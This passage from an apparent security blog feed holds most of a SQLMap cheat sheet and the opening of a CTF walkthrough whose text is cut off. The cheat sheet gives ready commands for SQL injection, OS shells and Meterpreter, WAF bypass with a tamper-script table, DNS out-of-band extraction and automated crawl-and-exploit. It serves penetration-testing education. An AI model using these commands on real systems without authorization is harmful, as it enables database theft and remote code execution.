&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; request.burp &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;custom-sql-injection-payload-pre-and-post-input&quot;&gt;Custom SQL Injection Payload: Pre and Post Input&lt;/h3&gt;

&lt;p&gt;In a scenario where you have identified a SQL injection manually or via another tool, you may need to suffix (have input entered before the SQL injection payload) or postfix (have input inserted after the injection payload), this can be accomplished using the following:&lt;/p&gt;

&lt;p&gt;How to insert input before an injection payload:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://hacksofdhruv.me&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-dbs&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--suffix&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;blah&quot;&lt;/span&gt;  &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;How to insert input after an injection payload:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://hacksofdhruv.me&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-dbs&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--postfix&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;--+&quot;&lt;/span&gt;  &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;sqlmap-cookie&quot;&gt;SQLMap Cookie&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--cookie&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;PHPSESSID=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$your&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-cookie&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;sqlmap-shell&quot;&gt;SQLMap Shell&lt;/h3&gt;

&lt;p&gt;How to get an operating system command shell with SQLMap:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--os-shell&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;How to execute a command with SQLMap:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--os-cmd&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;uname&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Meterpreter Shell with SQLMap:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;--os-pwn&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;sqlmap-waf-bypass&quot;&gt;SQLMap WAF Bypass&lt;/h3&gt;

&lt;p&gt;To bypass WAF’s with SQLMap you can use the premade tamper scripts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--tamper&lt;/code&gt; like in the following example:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; “https://hacksofdhruv.me/?espresso&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;” &lt;span class=&quot;nt&quot;&gt;--tamper&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apostrophemask,apostrophenullencode,randomcase&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note warning&quot;&gt;&lt;h2&gt;Tamper Scripts Send a LOT of Requests&lt;/h2&gt;
&lt;p&gt;Tamper scripts will resend the same request for each of the SQLMap WAF bypass scripts that you add.&lt;/p&gt; 
&lt;/div&gt;

&lt;p&gt;List of SQLMap Tamper Scripts:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tamper&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt; &lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;apostrophemask.py&lt;/td&gt;
      &lt;td&gt;Replaces apostrophe character with its UTF-8 full width counterpart&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;apostrophenullencode.py&lt;/td&gt;
      &lt;td&gt;Replaces apostrophe character with its illegal double unicode counterpart&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;appendnullbyte.py&lt;/td&gt;
      &lt;td&gt;Appends encoded NULL byte character at the end of payload&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;base64encode.py&lt;/td&gt;
      &lt;td&gt;Base64 all characters in a given payload&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;between.py&lt;/td&gt;
      &lt;td&gt;Replaces greater than operator (‘&amp;gt;’) with ‘NOT BETWEEN 0 AND #’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;bluecoat.py&lt;/td&gt;
      &lt;td&gt;Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;chardoubleencode.py&lt;/td&gt;
      &lt;td&gt;Double url-encodes all characters in a given payload (not processing already encoded)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;commalesslimit.py&lt;/td&gt;
      &lt;td&gt;Replaces instances like ‘LIMIT M, N’ with ‘LIMIT N OFFSET M’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;commalessmid.py&lt;/td&gt;
      &lt;td&gt;Replaces instances like ‘MID(A, B, C)’ with ‘MID(A FROM B FOR C)’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;concat2concatws.py&lt;/td&gt;
      &lt;td&gt;Replaces instances like ‘CONCAT(A, B)’ with ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;charencode.py&lt;/td&gt;
      &lt;td&gt;Url-encodes all characters in a given payload (not processing already encoded)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;charunicodeencode.py&lt;/td&gt;
      &lt;td&gt;Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;equaltolike.py&lt;/td&gt;
      &lt;td&gt;Replaces all occurances of operator equal (‘=’) with operator ‘LIKE’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;escapequotes.py&lt;/td&gt;
      &lt;td&gt;Slash escape quotes (‘ and “)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;greatest.py&lt;/td&gt;
      &lt;td&gt;Replaces greater than operator (‘&amp;gt;’) with ‘GREATEST’ counterpart&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;halfversionedmorekeywords.py&lt;/td&gt;
      &lt;td&gt;Adds versioned MySQL comment before each keyword&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ifnull2ifisnull.py&lt;/td&gt;
      &lt;td&gt;Replaces instances like ‘IFNULL(A, B)’ with ‘IF(ISNULL(A), B, A)’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;modsecurityversioned.py&lt;/td&gt;
      &lt;td&gt;Embraces complete query with versioned comment&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;modsecurityzeroversioned.py&lt;/td&gt;
      &lt;td&gt;Embraces complete query with zero-versioned comment&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;multiplespaces.py&lt;/td&gt;
      &lt;td&gt;Adds multiple spaces around SQL keywords&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;nonrecursivereplacement.py&lt;/td&gt;
      &lt;td&gt;Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;percentage.py&lt;/td&gt;
      &lt;td&gt;Adds a percentage sign (‘%’) infront of each character&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;overlongutf8.py&lt;/td&gt;
      &lt;td&gt;Converts all characters in a given payload (not processing already encoded)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;randomcase.py&lt;/td&gt;
      &lt;td&gt;Replaces each keyword character with random case value&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;randomcomments.py&lt;/td&gt;
      &lt;td&gt;Add random comments to SQL keywords&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;securesphere.py&lt;/td&gt;
      &lt;td&gt;Appends special crafted string&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;sp_password.py&lt;/td&gt;
      &lt;td&gt;Appends ‘sp_password’ to the end of the payload for automatic obfuscation from DBMS logs&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2comment.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with comments&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2dash.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with a dash comment (‘–’) followed by a random string and a new line (‘\n’)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2hash.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with a pound character (‘#’) followed by a random string and a new line (‘\n’)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2morehash.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with a pound character (‘#’) followed by a random string and a new line (‘\n’)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2mssqlblank.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2mssqlhash.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with a pound character (‘#’) followed by a new line (‘\n’)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2mysqlblank.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2mysqldash.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with a dash comment (‘–’) followed by a new line (‘\n’)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2plus.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with plus (‘+’)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;space2randomblank.py&lt;/td&gt;
      &lt;td&gt;Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;symboliclogical.py&lt;/td&gt;
      &lt;td&gt;Replaces AND and OR logical operators with their symbolic counterparts (&amp;amp;&amp;amp; and&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;unionalltounion.py&lt;/td&gt;
      &lt;td&gt;Replaces UNION ALL SELECT with UNION SELECT&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;unmagicquotes.py&lt;/td&gt;
      &lt;td&gt;Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;uppercase.py&lt;/td&gt;
      &lt;td&gt;Replaces each keyword character with upper case value ‘INSERT’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;varnish.py&lt;/td&gt;
      &lt;td&gt;Append a HTTP header ‘X-originating-IP’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;versionedkeywords.py&lt;/td&gt;
      &lt;td&gt;Encloses each non-function keyword with versioned MySQL comment&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;versionedmorekeywords.py&lt;/td&gt;
      &lt;td&gt;Encloses each keyword with versioned MySQL comment&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;xforwardedfor.py&lt;/td&gt;
      &lt;td&gt;Append a fake HTTP header ‘X-Forwarded-For’&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-proxy&quot;&gt;SQLMap Proxy&lt;/h3&gt;

&lt;p&gt;It is possible to proxy SQLMap traffic via an upstream proxy such as Burp Suite by passing the following syntax to the tool:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;--proxy&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;http://127.0.0.1:8080 &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;note&quot;&gt;&lt;h2&gt;Burp Proxy Performance Hit&lt;/h2&gt;
&lt;p&gt;In my experience using Burp Suite as a Proxy for this process results in a considerable slow down in performance.&lt;/p&gt; 
&lt;/div&gt;

&lt;h3 id=&quot;sqlmap-blind-sqli-out-of-band-oob&quot;&gt;SQLMap Blind SQLi Out of Band (OOB)&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; “https://hacksofdhruv.me/?espresso&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;” &lt;span class=&quot;nt&quot;&gt;--dns-domain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$your&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-collab-url&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;sqlmap-get-parameter&quot;&gt;SQLMap GET Parameter&lt;/h3&gt;

&lt;p&gt;The following specifies the GET parameter “espresso” for injection:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; “https://hacksofdhruv.me/?espresso&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;” &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; espresso &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;sqlmap-post-parameter&quot;&gt;SQLMap POST Parameter&lt;/h3&gt;

&lt;p&gt;The following specifies the POST parameter “espresso” for injection:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; “https://hacksofdhruv.me/?espresso&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;” &lt;span class=&quot;nt&quot;&gt;--data&lt;/span&gt; “espresso&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;” &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;run-sql-queries&quot;&gt;Run SQL Queries&lt;/h3&gt;

&lt;p&gt;You can run a SQL query using –sql-query for example:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; hacksofdhruv.me &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$database&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--sql-query&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;SELECT * FROM &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$table&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;url-parameters-in-friendly-urls&quot;&gt;URL Parameters in Friendly URL’s&lt;/h3&gt;

&lt;p&gt;Simply mark them with an asterisk(*), for example:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;https://hacksofdhruv.me/foo/bar/parameter1&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;/value1 &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The above would set the injection point at parameter1.&lt;/p&gt;

&lt;h3 id=&quot;sqlmap-crawl--exploit&quot;&gt;SQLMap Crawl &amp;amp; Exploit&lt;/h3&gt;

&lt;p&gt;Useful for automation, however please be mindful of the overheads you are imposing on the target server:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python3 sqlmap.py &lt;span class=&quot;nt&quot;&gt;--crawl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;5 &lt;span class=&quot;nt&quot;&gt;--threads&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;5 &lt;span class=&quot;nt&quot;&gt;--risk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;3 &lt;span class=&quot;nt&quot;&gt;--level&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;5 &lt;span class=&quot;nt&quot;&gt;--batch&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--answers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;keep testing=Y,sitemap=Y,skip further tests=N&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--crawl-exclude&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;logout&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--forms&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--tamper&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;apostrophemask,apostrophenullencode,randomcase &lt;span class=&quot;nt&quot;&gt;--dns-domain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$your&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-collab-url&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--random-agent&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; https://hacksofdhruv.me&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You will need to replace your collaborator payloads URL, and I highly recommend you setup your own collaborator server for this.&lt;/p&gt;

&lt;p&gt;If you found this SQLMap cheat sheet useful, please share it below.&lt;/p&gt;

&lt;h2 id=&quot;document-changelog&quot;&gt;Document Changelog&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Last Updated:&lt;/strong&gt; 12/02/2024 (12th of February 2024)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Author:&lt;/strong&gt; Dhruv Ambaliya&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Notes:&lt;/strong&gt; SQLMap cheat sheet created.&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>LAMP Security CTF5 - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/lamp-security-ctf5-walkthrough/</link>
          <pubDate>Thu, 08 Feb 2024 12:00:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/lamp-security-ctf5-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#host-service-enumeration&quot; id=&quot;markdown-toc-host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#http-enumeration&quot; id=&quot;markdown-toc-http-enumeration&quot;&gt;HTTP Enumeration&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#forced-browsing&quot; id=&quot;markdown-toc-forced-browsing&quot;&gt;Forced Browsing&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-enumeration&quot; id=&quot;markdown-toc-web-application-enumeration&quot;&gt;Web Application Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#hash-disclosure&quot; id=&quot;markdown-toc-hash-disclosure&quot;&gt;Hash Disclosure&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#verified-hash-type&quot; id=&quot;markdown-toc-verified-hash-type&quot;&gt;Verified Hash Type&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hashcat-md5-cracking&quot; id=&quot;markdown-toc-hashcat-md5-cracking&quot;&gt;Hashcat md5 cracking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-exploitation&quot; id=&quot;markdown-toc-web-application-exploitation&quot;&gt;Web Application Exploitation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#linux-local-enumeration&quot; id=&quot;markdown-toc-linux-local-enumeration&quot;&gt;Linux Local Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

